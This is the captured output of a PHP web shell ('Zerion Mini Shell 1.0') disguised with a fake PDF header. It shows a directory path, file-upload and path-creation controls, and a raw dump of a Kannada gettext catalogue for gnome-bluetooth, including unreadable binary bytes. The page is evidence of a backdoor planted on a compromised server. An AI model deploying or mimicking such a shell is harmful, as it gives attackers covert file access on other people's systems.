%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/share/locale/kn/LC_MESSAGES/
Upload File :
Create Path :
Current File : //usr/share/locale/kn/LC_MESSAGES/gnome-bluetooth2.mo

��gT��������*	B,	o	w	~	�		�	�	�	�	�	�	�	


4
N
W
_
Uu
	�

�

�
�
�

*2:
@,KxK�%���
4?U\n{H�0�'�P#
ht
�
�
�
	%DLel$� ���
��!48<DIQ^r{	����������.�-4�;!$'F3n�����<�%("NqW��>�M>4���Q�aH	��Z��%-�?Zm"z��(��
+'9�a�{$������P3d_��8/Gw��a:o���� +� >$!2c!y�!"R,""Q�"k�"hM#9�#T�#3E$by$�$!�$&%9%A%Q%	j%t%�%7�%$�%
&	& !&B&9Z&e�&�&#	'?-'0m'�'6�'G�'8(D(c3]a<X":+*C(7RIZ1AL
 F.!Jb5HN_6gETG4&)PBD'Y@>/9=,;$	^
fM8`\[O?QUWV%d-S2e#K0%'d hour%'d hours%'d minute%'d minutes%'d second%'d seconds%d B/s%d kB/s%u transfer complete%u transfers complete'%s' wants to pair with this device. Do you want to allow pairing?ADDRESSAcceptAddressAll categoriesAll typesAllowAn unknown error occurredAudio deviceBluetooth File TransferBluetooth Pairing RequestBluetooth TransferCameraCancelChoose files to sendClick to select device…ComputerConfirmConfirm Bluetooth PINConfirm the Bluetooth PIN for '%s'. This can usually be found in the device's manual.ConnectedConnecting…ConnectionDeviceDevice _category:Device _type:DevicesDisconnectedDismissDisplayFrom:HeadphonesHeadphones, headsets and other audio devicesHeadsetIf you remove the device, you will have to set it up again before next use.Input devices (mice, keyboards, etc.)JoypadKeyboardModemMouseNAMENetworkNoNo adapters availableNot Set UpNot paired or trustedPairedPaired or trustedPairing '%s'PhonePlease confirm that the following PIN matches the one displayed on '%s'.Please confirm the PIN that was entered on '%s'.Please enter the following PIN on '%s'.Please enter the following PIN on '%s'. Then press “Return” on the keyboard.Please move the joystick of your iCade in the following directions. Then press any of the white buttons.PrinterRemote controlRemote device to useRemote device's nameRemove '%s' from the list of devices?ScannerSearching for devices…SelectSelect device to send toSelect the device category to filterSelect the device type to filterSend _Files…Send files via BluetoothSending %sSending file %d of %dShow:TabletThere was an errorTo:ToyTrustedTypeUnknownVideo deviceVisible as “%s”WearableYes[FILE...]_Cancel_Close_Keyboard Settings_Mouse & Touchpad Settings_OK_Remove_Remove Device_Retry_Send_Sound Settingsapproximately %'d hourapproximately %'d hourspage 1page 2Project-Id-Version: gnome-bluetooth.master.kn
Report-Msgid-Bugs-To: http://bugzilla.gnome.org/enter_bug.cgi?product=gnome-bluetooth&keywords=I18N+L10N&component=general
PO-Revision-Date: 2014-09-12 00:36+0530
Last-Translator: Shankar Prasad <svenkate AT redhat Dot com>
Language-Team: Kannada <kde-i18n-doc@kde.org>
Language: kn
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
Plural-Forms: nplurals=2; plural=(n != 1);
X-Generator: Lokalize 1.5
%'d ಗಂಟೆ%'d ಗಂಟೆ%'d ನಿಮಿಷ%'d ನಿಮಿಷ%'d ಸೆಕೆಂಡು%'d ಸೆಕೆಂಡು%d B/s%d kB/s%u ವರ್ಗಾವಣೆ ಪೂರ್ಣಗೊಂಡಿದೆ%u ವರ್ಗಾವಣೆಗಳು ಪೂರ್ಣಗೊಂಡಿವೆ'%s' ಈ ಸಾಧನದೊಂದಿಗೆ ಜೋಡಿ ಮಾಡಲು ಬಯಸುತ್ತಿದೆ. ಜೋಡಿ ಮಾಡಲು ನೀವು ಅನುಮತಿಸುತ್ತಿರಾ?ADDRESSಒಪ್ಪಿಕೋವಿಳಾಸಎಲ್ಲಾ ವರ್ಗಗಳುಎಲ್ಲಾ ಬಗೆಗಳುಅನುಮತಿಸುಒಂದು ಗೊತ್ತಿಲ್ಲದ ದೋಷವು ಎದುರಾಗಿದೆಆಡಿಯೊ ಸಾಧನಬ್ಲೂಟೂತ್‌ ಕಡತ ವರ್ಗಾವಣೆಬ್ಲೂಟೂತ್‌ ಜೋಡಿಮಾಡುವಿಕೆ ಮನವಿಬ್ಲೂಟೂತ್‌ ವರ್ಗಾವಣೆಕ್ಯಾಮೆರಾರದ್ದುಮಾಡುಕಳುಹಿಸಲು ಕಡತಗಳನ್ನು ಆಯ್ಕೆ ಮಾಡಿಸಾಧನವನ್ನು ಆಯ್ಕೆ ಮಾಡಲು ಕ್ಲಿಕ್‌ ಮಾಡಿ...ಗಣಕದೃಢೀಕರಣಬ್ಲೂಟೂತ್ PIN ಅನ್ನು ಖಚಿತಪಡಿಸಿಕೊಳ್ಳಿ'%s' ಗಾಗಿ ಬ್ಲೂಟೂತ್ ಪಿನ್‌ ಅನ್ನು ಖಚಿತಪಡಿಸಿ. ಇದನ್ನು ಸಾಧನದ ಕೈಪಿಡಿಯಲ್ಲಿ ನೋಡಬಹುದು.ಸಂಪರ್ಕಿತಗೊಂಡಿದೆಸಂಪರ್ಕಿತಗೊಳ್ಳುತ್ತಿದೆ…ಸಂಪರ್ಕಸಾಧನಸಾಧನದ ಪಂಗಡ (_c):ಸಾಧನದ ಬಗೆ (_t):ಸಾಧನಗಳುಸಂಪರ್ಕ ಕಡಿದಿದೆತ್ಯಜಿಸುಪ್ರದರ್ಶಕಯಿಂದ:ಹೆಡ್‌ಫೋನ್‌ಗಳುಹೆಡ್‌ಫೋನ್‌ಗಳು, ಹೆಡ್‌ಸೆಟ್‌ಗಳು ಹಾಗು ಇತರೆ ಆಡಿಯೊ ಸಾಧನಗಳುಹೆಡ್‌ಸೆಟ್‌ನೀವು ಸಾಧನವನ್ನು ತೆಗೆದುಹಾಕಿದಲ್ಲಿ, ಮುಂದಿನ ಬಾರಿ ಬಳಸುವ ಮೊದಲು ನೀವು ಅದನ್ನು ಪುನಃ ಸಿದ್ಧಗೊಳಿಸಬೇಕಿರುತ್ತದೆ.ಇನ್‌ಪುಟ್‌ ಸಾಧನಗಳು (ಮೌಸ್‌ಗಳು, ಕೀಲಿಮಣೆಗಳು, ಇತರೆ.)ಜಾಯ್‌ಪ್ಯಾಡ್‌ಕೀಲಿಮಣೆಮಾಡೆಮ್ಮೌಸ್NAMEಜಾಲಬಂಧಇಲ್ಲಯಾವುದೆ ಅಡಾಪ್ಟರುಗಳು ಲಭ್ಯವಿಲ್ಲಸಿದ್ಧಗೊಳಿಸಲಾಗಿಲ್ಲಜೋಡಿಯಾಗಿಲ್ಲದ ಅಥವ ನಂಬಿಕಸ್ತವಾಗಿಲ್ಲದಜೋಡಿಯಾದಜೋಡಿಯಾದ ಅಥವ ನಂಬಿಕಸ್ತ'%s' ಜೋಡಿಯಾಗಿಸುವಿಕೆದೂರವಾಣಿ'%s' ನಲ್ಲಿ ತೋರಿಸಲಾದ PINಗೆ ಈ ಕೆಳಗಿನವು ತಾಳೆಯಾಗುತ್ತದೆಯೆ ಎಂದು ಖಚಿತಪಡಿಸಿ.'%s' ನಲ್ಲಿ ನಮೂದಿಸಲಾದ PIN ಅನ್ನು ಖಚಿತಪಡಿಸಿ.ದಯವಿಟ್ಟು ಈ ಕೆಳಗಿನ PIN ಅನ್ನು '%s' ನಲ್ಲಿ ನಮೂದಿಸಿ.ದಯವಿಟ್ಟು ಈ ಕೆಳಗಿನ PINಅನ್ನು '%s' ನಲ್ಲಿ ನಮೂದಿಸಿ ನಂತರ ಕೀಲಿಮಣೆಯಲ್ಲಿರುವ “Return” ಅನ್ನು ಒತ್ತಿ:ನಿಮ್ಮ iCade ನ ಜಾಯ್‌ಸ್ಟಿಕ್ ಅನ್ನು ಈ ಕೆಳಗಿನ ದಿಕ್ಕಿನಲ್ಲಿ ತಿರುಗಿಸಿ. ನಂತರ ಯಾವುದೆ ಬಿಳಿಯ ಗುಂಡಿಗಳನ್ನು ಒತ್ತಿ,ಮುದ್ರಕರಿಮೋಟ್ ಕಂಟ್ರೋಲ್ಬಳಸಬೇಕಿರುವ ದೂರಸ್ಥ ಸಾಧನದೂರಸ್ಥ ಸಾಧನದ ಹೆಸರುಪಟ್ಟಿ ಮಾಡಿದ ಸಾಧನಗಳಿಂದ '%s' ಅನ್ನು ತೆಗೆದುಹಾಕಬೇಕೆ?ಸ್ಕ್ಯಾನರ್ಸಾಧನಗಳಿಗಾಗಿ ಹುಡುಕಲಾಗುತ್ತಿದೆ...ಆರಿಸುಕಳುಹಿಸಲು ಸಾಧನವನ್ನು ಆಯ್ಕೆ ಮಾಡಿಫಿಲ್ಟರ್ ಮಾಡಲು ಸಾಧನ ವರ್ಗವನ್ನು ಆಯ್ಕೆ ಮಾಡಿಫಿಲ್ಟರ್ ಮಾಡಲು ಸಾಧನ ಬಗೆಯನ್ನು ಆಯ್ಕೆ ಮಾಡಿಕಡತಗಳನ್ನು ಕಳುಹಿಸು (_F)…ಬ್ಲೂಟೂತ್ ಮೂಲಕ ಕಡತವನ್ನು ಕಳುಹಿಸಿ%s ಕಳುಹಿಸಲಾಗುತ್ತಿದೆಕಡತ %d ಅನ್ನು (%d ನಲ್ಲಿ) ಕಳುಹಿಸಲಾಗುತ್ತಿದೆತೋರಿಸು:ಟ್ಯಾಬ್ಲೆಟ್‌ಒಂದು ದೋಷ ಇತ್ತುಗೆ:ಆಟಿಕೆನಂಬಿಕಸ್ತಬಗೆಗೊತ್ತಿರದವೀಡಿಯೊ ಸಾಧನ“%s” ಎಂದು ಕಾಣಿಸುತ್ತದೆಧರಿಸಬಹುದಾದವುಹೌದು[FILE...]ರದ್ದುಮಾಡು (_C)ಮುಚ್ಚು (_C)ಕೀಲಿಮಣೆ ಸಿದ್ಧತೆಗಳು (_K)ಮೌಸ್‌ ಮತ್ತು ಟಚ್‌ಪ್ಯಾಡ್‌ ಸಿದ್ಧತೆಗಳು (_M)ಸರಿ (_O)ತೆಗೆದುಹಾಕು (_R)ಸಾಧನವನ್ನು ತೆಗೆದುಹಾಕು (_R)ಪುನಃ ಪ್ರಯತ್ನಿಸು (_R)ಕಳುಹಿಸು (_S)ಧ್ವನಿಯ ಸಿದ್ಧತೆಗಳು (_S)ಅಂದಾಜು %'d ಗಂಟೆಅಂದಾಜು %'d ಗಂಟೆಪುಟ 1ಪುಟ 2

Zerion Mini Shell 1.0